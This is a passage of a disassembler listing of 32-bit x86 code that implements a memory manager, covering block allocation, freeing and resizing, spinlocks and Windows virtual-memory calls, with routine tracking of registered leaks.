[ebx+2] lea edx, [ecx+eax] mov [ebx+8], edx add edi, esi sub edi, ecx mov [ebx+0Ch], edi mov byte ptr [ebx], 0 mov [eax-4], esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 loc_40001948: ; CODE XREF: sub_40001734+240j ; sub_40001734+260j mov eax, 100h lock cmpxchg ds:byte_4001C718, ah jz short loc_40001996 push 0 call sub_400012D4 ; Sleep mov eax, 100h lock cmpxchg ds:byte_4001C718, ah jz short loc_40001996 push 0Ah call sub_400012D4 ; Sleep jmp short loc_40001948 ; --------------------------------------------------------------------------- align 4 loc_40001978: ; CODE XREF: sub_40001734+12j cmp eax, 40A2Ch ja loc_40001A90 lea ebx, [eax+0D3h] and ebx, 0FFFFFF00h add ebx, 30h test cl, cl jnz short loc_40001948 loc_40001996: ; CODE XREF: sub_40001734+221j ; sub_40001734+237j lea edx, [ebx-0B30h] mov ecx, edx shr edx, 0Dh shr ecx, 8 mov eax, 0FFFFFFFFh shl eax, cl and eax, ds:dword_4001C728[edx*4] jz short loc_400019C0 and ecx, 0FFFFFFE0h bsf eax, eax or ecx, eax jmp short loc_40001A1C ; --------------------------------------------------------------------------- align 10h loc_400019C0: ; CODE XREF: sub_40001734+27Ej mov eax, 0FFFFFFFEh mov ecx, edx shl eax, cl and eax, ds:dword_4001C724 jz short loc_400019E8 bsf edx, eax mov eax, ds:dword_4001C728[edx*4] bsf ecx, eax mov eax, edx shl eax, 5 or ecx, eax jmp short loc_40001A1C ; --------------------------------------------------------------------------- align 4 loc_400019E8: ; CODE XREF: sub_40001734+29Bj mov ecx, ds:dword_4001C720 sub ecx, ebx jb short loc_40001A0C mov eax, ds:dword_4001C71C sub eax, ebx mov ds:dword_4001C71C, eax mov ds:dword_4001C720, ecx or ebx, 2 mov [eax-4], ebx jmp short loc_40001A13 ; --------------------------------------------------------------------------- loc_40001A0C: ; CODE XREF: sub_40001734+2BCj mov eax, ebx call sub_400015DC loc_40001A13: ; CODE XREF: sub_40001734+2D6j mov ds:byte_4001C718, 0 pop ebx retn ; --------------------------------------------------------------------------- loc_40001A1C: ; CODE XREF: sub_40001734+288j ; sub_40001734+2B1j push esi push edi lea edi, off_4001C7A8[ecx*8] mov esi, [edi+4] mov eax, [esi+4] mov [edi+4], eax mov [eax], edi cmp edi, eax jnz short loc_40001A4B mov eax, 0FFFFFFFEh rol eax, cl and ds:dword_4001C728[edx*4], eax jnz short loc_40001A4B btr ds:dword_4001C724, edx loc_40001A4B: ; CODE XREF: sub_40001734+2FEj ; sub_40001734+30Ej mov edi, 0FFFFFFF0h and edi, [esi-4] mov edx, edi sub edx, ebx jz short loc_40001A78 lea eax, [ebx+esi] lea ecx, [edx+3] mov [eax-4], ecx mov [edx+eax-8], edx cmp edx, 0B30h jb short loc_40001A7D call sub_40001510 jmp short loc_40001A7D ; --------------------------------------------------------------------------- align 4 loc_40001A78: ; CODE XREF: sub_40001734+323j and byte ptr [edi+esi-4], 0F7h loc_40001A7D: ; CODE XREF: sub_40001734+338j ; sub_40001734+33Fj lea ecx, [ebx+2] mov [esi-4], ecx mov ds:byte_4001C718, 0 mov eax, esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40001A90: ; CODE XREF: sub_40001734+249j pop ebx test eax, eax jns sub_40001694 xor eax, eax retn sub_40001734 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40001A9C proc near ; CODE XREF: sub_40001C7C+48p ; sub_40001C7C+8Cp ... mov edx, [eax-4] test dl, 7 mov ecx, eax push ebx mov bl, ds:byte_4001C04D jnz loc_40001B7C test bl, bl mov ebx, [edx] jnz short loc_40001B18 loc_40001AB7: ; CODE XREF: sub_40001A9C+85j ; sub_40001A9C+9Bj sub dword ptr [edx+0Ch], 1 mov eax, [edx+8] jz short loc_40001AEC test eax, eax mov [edx+8], ecx lea eax, [eax+1] mov [ecx-4], eax jz short loc_40001AD4 xor eax, eax mov [ebx], al pop ebx retn ; --------------------------------------------------------------------------- align 4 loc_40001AD4: ; CODE XREF: sub_40001A9C+2Fj mov ecx, [ebx+4] mov [edx+14h], ebx mov [edx+4], ecx mov [ecx+14h], edx mov [ebx+4], edx mov byte ptr [ebx], 0 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- align 4 loc_40001AEC: ; CODE XREF: sub_40001A9C+22j test eax, eax jz short loc_40001B03 mov eax, [edx+14h] mov ecx, [edx+4] mov [eax+4], ecx mov [ecx+14h], eax xor eax, eax cmp [ebx+10h], edx jnz short loc_40001B06 loc_40001B03: ; CODE XREF: sub_40001A9C+52j mov [ebx+0Ch], eax loc_40001B06: ; CODE XREF: sub_40001A9C+65j mov [ebx], al mov eax, edx mov edx, [edx-4] mov bl, ds:byte_4001C04D jmp short loc_40001B85 ; --------------------------------------------------------------------------- align 4 loc_40001B18: ; CODE XREF: sub_40001A9C+19j ; sub_40001A9C+ACj mov eax, 100h lock cmpxchg [ebx], ah jz short loc_40001AB7 push ecx push edx push 0 call sub_400012D4 ; Sleep pop edx pop ecx mov eax, 100h lock cmpxchg [ebx], ah jz loc_40001AB7 push ecx push edx push 0Ah call sub_400012D4 ; Sleep pop edx pop ecx jmp short loc_40001B18 ; --------------------------------------------------------------------------- align 4 loc_40001B4C: ; CODE XREF: sub_40001A9C+DCj ; sub_40001A9C+F3j mov eax, 100h lock cmpxchg ds:byte_4001C718, ah jz short loc_40001B91 push 0 call sub_400012D4 ; Sleep mov eax, 100h lock cmpxchg ds:byte_4001C718, ah jz short loc_40001B91 push 0Ah call sub_400012D4 ; Sleep jmp short loc_40001B4C ; --------------------------------------------------------------------------- align 4 loc_40001B7C: ; CODE XREF: sub_40001A9C+Fj test dl, 5 jnz loc_40001C6C loc_40001B85: ; CODE XREF: sub_40001A9C+77j and edx, 0FFFFFFF0h test bl, bl mov ebx, edx push esi mov esi, eax jnz short loc_40001B4C loc_40001B91: ; CODE XREF: sub_40001A9C+BDj ; sub_40001A9C+D3j test dword ptr [ebx+esi-4], 1 mov ecx, [ebx+esi-4] jnz short loc_40001BD4 or ecx, 8 mov [ebx+esi-4], ecx loc_40001BA6: ; CODE XREF: sub_40001A9C+146j ; sub_40001A9C+14Dj test byte ptr [esi-4], 8 jnz short loc_40001BEC loc_40001BAC: ; CODE XREF: sub_40001A9C+15Dj ; sub_40001A9C+166j cmp ebx, 13FFF0h jz short loc_40001C04 lea eax, [ebx+3] mov [esi-4], eax mov [ebx+esi-8], ebx mov eax, esi mov edx, ebx call sub_40001510 mov ds:byte_4001C718, 0 xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 loc_40001BD4: ; CODE XREF: sub_40001A9C+101j lea eax, [ebx+esi] and ecx, 0FFFFFFF0h add ebx, ecx cmp ecx, 0B30h jb short loc_40001BA6 call sub_400014D0 jmp short loc_40001BA6 ; --------------------------------------------------------------------------- align 4 loc_40001BEC: ; CODE XREF: sub_40001A9C+10Ej mov ecx, [esi-8] sub esi, ecx add ebx, ecx cmp ecx, 0B30h jb short loc_40001BAC mov eax, esi call sub_400014D0 jmp short loc_40001BAC ; --------------------------------------------------------------------------- loc_40001C04: ; CODE XREF: sub_40001A9C+116j cmp ds:dword_4001C720, 13FFF0h jnz short loc_40001C3C sub esi, 10h mov eax, [esi] mov edx, [esi+4] mov [eax+4], edx mov [edx], eax mov ds:byte_4001C718, 0 push 8000h push 0 push esi call sub_400012CC ; VirtualFree cmp eax, 1 sbb eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 loc_40001C3C: ; CODE XREF: sub_40001A9C+172j lea ebx, [esi+13FFF0h] call sub_40001570 mov dword ptr [ebx-4], 2 mov ds:dword_4001C720, 13FFF0h mov ds:dword_4001C71C, ebx mov ds:byte_4001C718, 0 xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 loc_40001C6C: ; CODE XREF: sub_40001A9C+E3j pop ebx test dl, 3 jz sub_400016F8 mov eax, 0FFFFFFFFh retn sub_40001A9C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40001C7C proc near ; CODE XREF: sub_40002C54+Dp ; DATA XREF: .data:off_4001A72Co mov ecx, [eax-4] test cl, 7 push ebx push esi mov esi, eax jnz loc_40001D14 mov ebx, [ecx] movzx ecx, word ptr [ebx+2] sub ecx, 4 cmp ecx, edx jb short loc_40001CD0 lea ebx, ds:40h[edx*4] cmp ebx, ecx jb short loc_40001CA8 pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 loc_40001CA8: ; CODE XREF: sub_40001C7C+26j mov ebx, edx mov eax, edx call sub_40001734 test eax, eax jz short loc_40001CCB mov ecx, ebx mov edx, eax mov ebx, eax mov eax, esi call sub_400014B4 mov eax, esi call sub_40001A9C mov eax, ebx loc_40001CCB: ; CODE XREF: sub_40001C7C+37j pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h loc_40001CD0: ; CODE XREF: sub_40001C7C+1Bj lea ecx, [ecx+ecx+20h] push edi mov edi, edx xor eax, eax sub ecx, edx adc eax, 0FFFFFFFFh and eax, ecx add eax, edx call sub_40001734 test eax, eax jz short loc_40001D0F cmp edi, 40A2Ch jbe short loc_40001CF6 mov [eax-8], edi loc_40001CF6: ; CODE XREF: sub_40001C7C+75j movzx ecx, word ptr [ebx+2] sub ecx, 4 mov edx, eax mov edi, eax mov eax, esi call dword ptr [ebx+1Ch] mov eax, esi call sub_40001A9C mov eax, edi loc_40001D0F: ; CODE XREF: sub_40001C7C+6Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 loc_40001D14: ; CODE XREF: sub_40001C7C+Aj test cl, 5 jnz loc_40001F68 mov ebx, ecx and ecx, 0FFFFFFF0h push edi lea edi, [ecx+eax] sub ecx, 4 and ebx, 0Fh cmp edx, ecx push ebp ja loc_40001E34 lea ebp, [edx+edx] cmp ebp, ecx jb short loc_40001D44 pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 loc_40001D44: ; CODE XREF: sub_40001C7C+BEj cmp edx, 0B2Ch jnb short loc_40001D5D cmp ebp, 0B2Ch jb loc_40001E0C mov edx, 0B2Ch loc_40001D5D: ; CODE XREF: sub_40001C7C+CEj lea ebp, [edx+0D3h] and ebp, 0FFFFFF00h add ebp, 30h add ecx, 4 sub ecx, ebp cmp ds:byte_4001C04D, 0 jz short loc_40001DB4 loc_40001D7A: ; CODE XREF: sub_40001C7C+12Ej mov eax, 100h lock cmpxchg ds:byte_4001C718, ah jz short loc_40001DAC push ecx push 0 call sub_400012D4 ; Sleep pop ecx mov eax, 100h lock cmpxchg ds:byte_4001C718, ah jz short loc_40001DAC push ecx push 0Ah call sub_400012D4 ; Sleep pop ecx jmp short loc_40001D7A ; --------------------------------------------------------------------------- loc_40001DAC: ; CODE XREF: sub_40001C7C+10Bj ; sub_40001C7C+123j mov ebx, 0Fh and ebx, [esi-4] loc_40001DB4: ; CODE XREF: sub_40001C7C+FCj or ebx, ebp mov [esi-4], ebx mov ebx, ecx mov edx, [edi-4] test dl, 1 jnz short loc_40001DCC or edx, 8 mov [edi-4], edx jmp short loc_40001DE2 ; --------------------------------------------------------------------------- align 4 loc_40001DCC: ; CODE XREF: sub_40001C7C+145j mov eax, edi and edx, 0FFFFFFF0h add ebx, edx add edi, edx cmp edx, 0B30h jb short loc_40001DE2 call sub_400014D0 loc_40001DE2: ; CODE XREF: sub_40001C7C+14Dj ; sub_40001C7C+15Fj mov [edi-8], ebx lea eax, [ebx+3] mov [esi+ebp-4], eax cmp ebx, 0B30h jb short loc_40001DFE lea eax, [esi+ebp] mov edx, ebx call sub_40001510 loc_40001DFE: ; CODE XREF: sub_40001C7C+176j mov ds:byte_4001C718, 0 mov eax, esi pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40001E0C: ; CODE XREF: sub_40001C7C+D6j mov edi, edx mov eax, edx call sub_40001734 test eax, eax jz short loc_40001E2F mov ebp, eax mov edx, eax mov eax, esi mov ecx, edi call sub_400014B4 mov eax, esi call sub_40001A9C mov eax, ebp loc_40001E2F: ; CODE XREF: sub_40001C7C+19Bj pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40001E34: ; CODE XREF: sub_40001C7C+B3j mov eax, [edi-4] test al, 1 jz loc_40001F20 and eax, 0FFFFFFF0h lea ebp, [ecx+eax] cmp edx, ebp ja loc_40001F20 cmp ds:byte_4001C04D, 0 jz short loc_40001EA5 loc_40001E56: ; CODE XREF: sub_40001C7C+20Ej mov eax, 100h lock cmpxchg ds:byte_4001C718, ah jz short loc_40001E8C push ecx push edx push 0 call sub_400012D4 ; Sleep pop edx pop ecx mov eax, 100h lock cmpxchg ds:byte_4001C718, ah jz short loc_40001E8C push ecx push edx push 0Ah call sub_400012D4 ; Sleep pop edx pop ecx jmp short loc_40001E56 ; --------------------------------------------------------------------------- loc_40001E8C: ; CODE XREF: sub_40001C7C+1E7j ; sub_40001C7C+201j mov ebx, 0Fh and ebx, [esi-4] mov eax, [edi-4] test al, 1 jz short loc_40001F19 and eax, 0FFFFFFF0h lea ebp, [ecx+eax] cmp edx, ebp ja short loc_40001F19 loc_40001EA5: ; CODE XREF: sub_40001C7C+1D8j cmp eax, 0B30h jb short loc_40001EB7 mov eax, edi push ecx push edx call sub_400014D0 pop edx pop ecx loc_40001EB7: ; CODE XREF: sub_40001C7C+22Ej mov eax, ecx shr eax, 2 add eax, ecx xor edi, edi sub eax, edx adc edi, 0FFFFFFFFh and eax, edi lea eax, [edx+eax+0D3h] and eax, 0FFFFFF00h add eax, 30h lea edx, [ebp+4] sub edx, eax ja short loc_40001EE8 and dword ptr [esi+ebp], 0FFFFFFF7h add ebp, 4 jmp short loc_40001F04 ; --------------------------------------------------------------------------- align 4 loc_40001EE8: ; CODE XREF: sub_40001C7C+25Fj mov [esi+ebp-4], edx lea edi, [edx+3] mov [eax+esi-4], edi mov ebp, eax cmp edx, 0B30h jb short loc_40001F04 add eax, esi call sub_40001510 loc_40001F04: ; CODE XREF: sub_40001C7C+268j ; sub_40001C7C+27Fj or ebp, ebx mov [esi-4], ebp mov ds:byte_4001C718, 0 mov eax, esi loc_40001F12: ; CODE XREF: sub_40001C7C+2C3j pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 2 dup(90h) ; --------------------------------------------------------------------------- loc_40001F19: ; CODE XREF: sub_40001C7C+21Dj ; sub_40001C7C+227j mov ds:byte_4001C718, 0 loc_40001F20: ; CODE XREF: sub_40001C7C+1BDj ; sub_40001C7C+1CBj mov eax, ecx shr eax, 2 add eax, ecx xor edi, edi sub eax, edx adc edi, 0FFFFFFFFh and eax, edi add eax, edx mov ebp, eax mov edi, ecx push edx call sub_40001734 pop edx test eax, eax jz short loc_40001F12 cmp ebp, 40A2Ch jbe short loc_40001F4C mov [eax-8], edx loc_40001F4C: ; CODE XREF: sub_40001C7C+2CBj mov ebp, eax mov edx, eax mov eax, esi mov ecx, edi call sub_40001484 mov eax, esi call sub_40001A9C mov eax, ebp pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 loc_40001F68: ; CODE XREF: sub_40001C7C+9Bj test cl, 3 jnz loc_40001FFC sub ecx, 18h cmp edx, ecx jbe short loc_40001FBC mov eax, ecx shr ecx, 2 add ecx, eax xor eax, eax sub ecx, edx adc eax, 0FFFFFFFFh and eax, ecx add eax, edx mov ebx, eax push edx call sub_40001734 pop edx test eax, eax jz short loc_40001FB9 cmp ebx, 40A2Ch jbe short loc_40001FA2 mov [eax-8], edx loc_40001FA2: ; CODE XREF: sub_40001C7C+321j mov ecx, [esi-8] mov ebx, eax mov edx, eax mov eax, esi call sub_40001484 mov eax, esi call sub_40001A9C mov eax, ebx loc_40001FB9: ; CODE XREF: sub_40001C7C+319j ; sub_40001C7C+357j pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40001FBC: ; CODE XREF: sub_40001C7C+2FAj shr ecx, 1 cmp edx, ecx jb short loc_40001FC8 mov [eax-8], edx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40001FC8: ; CODE XREF: sub_40001C7C+344j mov ebx, edx mov eax, edx call sub_40001734 test eax, eax jz short loc_40001FB9 cmp ebx, 40A2Ch jbe short loc_40001FE0 mov [eax-8], ebx loc_40001FE0: ; CODE XREF: sub_40001C7C+35Fj mov ecx, ebx mov ebx, eax mov edx, eax mov eax, esi call sub_400014B4 mov eax, esi call sub_40001A9C mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 loc_40001FFC: ; CODE XREF: sub_40001C7C+2EFj xor eax, eax pop esi pop ebx retn sub_40001C7C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40002004 proc near ; CODE XREF: .text:40002C0Cp ; DATA XREF: .data:off_4001A730o push ebx lea ebx, [eax-1] and ebx, 0FFFFFFFCh call sub_40001734 cmp eax, 1 sbb ecx, ecx lea edx, [ebx+eax] or ebx, ecx cmp ebx, 40A2Ch jnb short loc_40002032 neg ebx fldz loc_40002026: ; CODE XREF: sub_40002004+28j fst qword ptr [ebx+edx] add ebx, 8 js short loc_40002026 mov [edx], ecx ffree st loc_40002032: ; CODE XREF: sub_40002004+1Cj pop ebx retn sub_40002004 endp ; =============== S U B R O U T I N E ======================================= sub_40002034 proc near ; CODE XREF: sub_40002540+D1p mov ecx, eax mov edx, ecx sub edx, 4 mov edx, [edx] and edx, 0FFFFFFF0h add edx, ecx mov eax, edx mov edx, eax sub edx, 4 mov edx, [edx] and edx, 0FFFFFFF0h test edx, edx jnz short locret_40002054 xor eax, eax locret_40002054: ; CODE XREF: sub_40002034+1Cj retn sub_40002034 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40002058 proc near ; CODE XREF: sub_40002540+5Fp cmp ds:dword_4001C720, 0 jz short loc_4000207B mov edx, ds:dword_4001C71C cmp edx, eax jb short loc_4000207B mov edx, eax add edx, 140000h cmp edx, ds:dword_4001C71C jnb short loc_4000207F loc_4000207B: ; CODE XREF: sub_40002058+7j ; sub_40002058+11j add eax, 10h retn ; --------------------------------------------------------------------------- loc_4000207F: ; CODE XREF: sub_40002058+21j cmp ds:dword_4001C720, 13FFF0h jz short loc_40002092 mov eax, ds:dword_4001C71C jmp short locret_40002094 ; --------------------------------------------------------------------------- loc_40002092: ; CODE XREF: sub_40002058+31j xor eax, eax locret_40002094: ; CODE XREF: sub_40002058+38j retn sub_40002058 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40002098 proc near ; CODE XREF: sub_400023F4+30p push ebx push esi mov ebx, eax add ebx, 20h mov [edx], ebx mov edx, [eax] cmp eax, [edx+10h] jnz short loc_400020B0 mov ebx, [edx+8] cmp ebx, [edx+0Ch] jbe short loc_400020C9 loc_400020B0: ; CODE XREF: sub_40002098+Ej mov esi, eax mov ebx, esi sub ebx, 4 mov ebx, [ebx] and ebx, 0FFFFFFF0h add ebx, esi movzx eax, word ptr [edx+2] sub ebx, eax mov [ecx], ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_400020C9: ; CODE XREF: sub_40002098+16j mov eax, [edx+8] dec eax mov [ecx], eax pop esi pop ebx retn sub_40002098 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400020D4 proc near ; CODE XREF: sub_40002540+20Bp ; sub_40002540+226p ... push edi mov edi, edx add eax, 1 mov edx, 89705F41h mul edx shr eax, 1Eh mov ecx, edx and edx, 1FFFFFFFh shr ecx, 1Dh lea edx, [edx+edx*4] add edx, eax mov eax, ecx or eax, 30h mov [edi], al mov eax, edx cmp ecx, 1 sbb edi, 0FFFFFFFFh shr eax, 1Ch and edx, 0FFFFFFFh or ecx, eax or eax, 30h mov [edi], al lea eax, [edx+edx*4] lea edx, [edx+edx*4] cmp ecx, 1 sbb edi, 0FFFFFFFFh shr eax, 1Bh and edx, 7FFFFFFh or ecx, eax or eax, 30h mov [edi], al lea eax, [edx+edx*4] lea edx, [edx+edx*4] cmp ecx, 1 sbb edi, 0FFFFFFFFh shr eax, 1Ah and edx, 3FFFFFFh or ecx, eax or eax, 30h mov [edi], al lea eax, [edx+edx*4] lea edx, [edx+edx*4] cmp ecx, 1 sbb edi, 0FFFFFFFFh shr eax, 19h and edx, 1FFFFFFh or ecx, eax or eax, 30h mov [edi], al lea eax, [edx+edx*4] lea edx, [edx+edx*4] cmp ecx, 1 sbb edi, 0FFFFFFFFh shr eax, 18h and edx, 0FFFFFFh or ecx, eax or eax, 30h mov [edi], al lea eax, [edx+edx*4] lea edx, [edx+edx*4] cmp ecx, 1 sbb edi, 0FFFFFFFFh shr eax, 17h and edx, 7FFFFFh or ecx, eax or eax, 30h mov [edi], al lea eax, [edx+edx*4] lea edx, [edx+edx*4] cmp ecx, 1 sbb edi, 0FFFFFFFFh shr eax, 16h and edx, 3FFFFFh or ecx, eax or eax, 30h mov [edi], al lea eax, [edx+edx*4] lea edx, [edx+edx*4] cmp ecx, 1 sbb edi, 0FFFFFFFFh shr eax, 15h and edx, 1FFFFFh or ecx, eax or eax, 30h mov [edi], al lea eax, [edx+edx*4] cmp ecx, 1 sbb edi, 0FFFFFFFFh shr eax, 14h or eax, 30h mov [edi], al lea eax, [edi+1] pop edi retn sub_400020D4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400021F0 proc near ; CODE XREF: sub_40002540+16Ap ; sub_40002540+1E3p ... push ebx push esi mov esi, ecx mov ebx, edx mov edx, ebx mov ecx, esi call sub_40002DFC mov eax, ebx add eax, esi pop esi pop ebx retn sub_400021F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40002208 proc near ; CODE XREF: sub_40002208+A1p ; sub_400022C0+1Bp arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi mov esi, edx mov ebx, eax mov edx, ebx mov ecx, edx add ecx, 0FFFFFFB4h mov eax, [ebp+arg_0] mov eax, [eax-1Ch] cmp ecx, eax jb short loc_40002232 mov ecx, [ebp+arg_0] mov ecx, [ebp+arg_0] add eax, [ecx-10h] add edx, 0FFFFFFDFh cmp eax, edx jnb short loc_40002246 loc_40002232: ; CODE XREF: sub_40002208+18j push 1Ch mov eax, [ebp+arg_0] add eax, 0FFFFFFE4h push eax mov eax, ebx add eax, 0FFFFFFB4h push eax call sub_40001258 ; VirtualQuery loc_40002246: ; CODE XREF: sub_40002208+28j cmp esi, 3E8h jge short loc_4000228A mov eax, [ebp+arg_0] mov eax, [eax-1Ch] mov edx, [ebp+arg_0] add eax, [edx-10h] mov edx, ebx add edx, 0FFFFFFDFh cmp eax, edx jbe short loc_4000228A mov eax, [ebp+arg_0] cmp dword ptr [eax-0Ch], 1000h jnz short loc_4000228A mov eax, [ebp+arg_0] test byte ptr [eax-8], 0E6h jz short loc_4000228A mov eax, [ebp+arg_0] test byte ptr [eax-7], 1 jnz short loc_4000228A mov eax, ebx add eax, 0FFFFFFB4h cmp ebx, [eax] jz short loc_4000228E loc_4000228A: ; CODE XREF: sub_40002208+44j ; sub_40002208+59j ... xor eax, eax jmp short loc_40002290 ; --------------------------------------------------------------------------- loc_4000228E: ; CODE XREF: sub_40002208+80j mov al, 1 loc_40002290: ; CODE XREF: sub_40002208+84j test al, al jz short loc_400022B9 add ebx, 0FFFFFFDCh mov ebx, [ebx] test ebx, ebx jz short loc_400022B7 mov eax, [ebp+arg_0] push eax lea edx, [esi+1] mov eax, ebx sub eax, 0FFFFFFB4h call sub_40002208 pop ecx test al, al jnz short loc_400022B7 xor eax, eax jmp short loc_400022B9 ; --------------------------------------------------------------------------- loc_400022B7: ; CODE XREF: sub_40002208+93j ; sub_40002208+A9j mov al, 1 loc_400022B9: ; CODE XREF: sub_40002208+8Aj ; sub_40002208+ADj pop esi pop ebx pop ebp retn sub_40002208 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400022C0 proc near ; CODE XREF: sub_400023F4+68p var_10 = dword ptr -10h push ebp mov ebp, esp add esp, 0FFFFFFE4h push ebx mov ebx, [eax] xor eax, eax mov [ebp+var_10], eax cmp ebx, 10000h jb short loc_400022E5 push ebp xor edx, edx mov eax, ebx call sub_40002208 pop ecx test al, al jnz short loc_400022E7 loc_400022E5: ; CODE XREF: sub_400022C0+14j xor ebx, ebx loc_400022E7: ; CODE XREF: sub_400022C0+23j mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_400022C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400022F0 proc near ; CODE XREF: sub_4000235C+3p ; sub_4000239C+11p cmp ds:byte_4001C04D, 0 jz short loc_4000232D jmp short loc_4000231B ; --------------------------------------------------------------------------- loc_400022FB: ; CODE XREF: sub_400022F0+3Bj push 0 call sub_400012D4 ; Sleep mov ecx, offset byte_4001E7C0 mov dl, 1 xor eax, eax call sub_40001344 test al, al jz short loc_4000232D push 0Ah call sub_400012D4 ; Sleep loc_4000231B: ; CODE XREF: sub_400022F0+9j mov ecx, offset byte_4001E7C0 mov dl, 1 xor eax, eax call sub_40001344 test al, al jnz short loc_400022FB loc_4000232D: ; CODE XREF: sub_400022F0+7j ; sub_400022F0+22j cmp ds:dword_4001E7BC, 0 jnz short loc_4000234E push 4 push 1000h push 10000h push 0 call sub_400012C4 ; VirtualAlloc mov ds:dword_4001E7BC, eax loc_4000234E: ; CODE XREF: sub_400022F0+44j cmp ds:dword_4001E7BC, 0 setnz al retn sub_400022F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000235C proc near ; DATA XREF: .data:4001A734o push ebx mov ebx, eax call sub_400022F0 test al, al jz short loc_40002391 mov eax, ds:dword_4001E7BC cmp dword ptr [eax], 3FFEh jge short loc_40002391 mov eax, ds:dword_4001E7BC mov eax, [eax] mov edx, ds:dword_4001E7BC mov [edx+eax*4+4], ebx mov eax, ds:dword_4001E7BC inc dword ptr [eax] mov al, 1 jmp short loc_40002393 ; --------------------------------------------------------------------------- loc_40002391: ; CODE XREF: sub_4000235C+Aj ; sub_4000235C+17j xor eax, eax loc_40002393: ; CODE XREF: sub_4000235C+33j mov ds:byte_4001E7C0, 0 pop ebx retn sub_4000235C endp ; =============== S U B R O U T I N E ======================================= sub_4000239C proc near ; CODE XREF: sub_400023F4+4Cp ; sub_40002540+A6p ... push ebx push esi push edi mov esi, eax mov edi, offset dword_4001E7BC xor ebx, ebx cmp dword ptr [edi], 0 jz short loc_400023EC call sub_400022F0 test al, al jz short loc_400023EC mov eax, [edi] mov edx, [eax] dec edx test edx, edx jl short loc_400023E5 inc edx xor eax, eax loc_400023C2: ; CODE XREF: sub_4000239C+47j mov ecx, [edi] cmp esi, [ecx+eax*4+4] jnz short loc_400023E1 mov edx, [edi] mov edx, [edx] mov ecx, [edi] mov edx, [ecx+edx*4] mov ecx, [edi] mov [ecx+eax*4+4], edx mov edx, [edi] dec dword ptr [edx] mov bl, 1 jmp short loc_400023E5 ; --------------------------------------------------------------------------- loc_400023E1: ; CODE XREF: sub_4000239C+2Cj inc eax dec edx jnz short loc_400023C2 loc_400023E5: ; CODE XREF: sub_4000239C+21j ; sub_4000239C+43j mov ds:byte_4001E7C0, 0 loc_400023EC: ; CODE XREF: sub_4000239C+Fj ; sub_4000239C+18j mov eax, ebx pop edi pop esi pop ebx retn sub_4000239C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400023F4 proc near ; CODE XREF: sub_40002540+84p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx push esi push edi mov [ebp+var_4], eax mov eax, [ebp+var_4] mov eax, [eax] sub eax, offset byte_4001A044 shr eax, 5 shl eax, 8 mov edx, [ebp+arg_0] lea esi, [edx+eax*8-1B800h] lea ecx, [ebp+var_1C] lea edx, [ebp+var_18] mov eax, [ebp+var_4] call sub_40002098 jmp loc_4000252B ; --------------------------------------------------------------------------- loc_4000242E: ; CODE XREF: sub_400023F4+13Dj mov eax, [ebp+var_18] sub eax, 4 test byte ptr [eax], 1 jnz loc_4000251F mov eax, [ebp+var_18] call sub_4000239C test al, al jnz loc_4000251F mov eax, [ebp+arg_0] mov byte ptr [eax-1B801h], 0 xor ebx, ebx mov eax, [ebp+var_18] call sub_400022C0 mov edi, eax test edi, edi jnz loc_400024F3 mov eax, [ebp+var_18] cmp dword ptr [eax], 100h jnb loc_4000251B mov eax, [ebp+var_18] add eax, 4 mov eax, [eax] mov [ebp+var_C], eax cmp [ebp+var_C], 0 jle loc_4000251B mov eax, [ebp+var_4] mov eax, [eax] movzx eax, word ptr [eax+2] sub eax, 0Dh cmp eax, [ebp+var_C] jle short loc_4000251B mov eax, [ebp+var_18] add eax, 8 mov [ebp+var_10], eax mov [ebp+var_11], 1 mov eax, [ebp+var_C] test eax, eax jle short loc_400024DE mov [ebp+var_20], eax loc_400024B7: ; CODE XREF: sub_400023F4+E8j cmp [ebp+var_11], 0 jz short loc_400024CD mov eax, [ebp+var_10] cmp byte ptr [eax], 20h jb short loc_400024CD mov eax, [ebp+var_10] cmp byte ptr [eax], 80h jb short loc_400024D1 loc_400024CD: ; CODE XREF: sub_400023F4+C7j ; sub_400023F4+CFj xor eax, eax jmp short loc_400024D3 ; --------------------------------------------------------------------------- loc_400024D1: 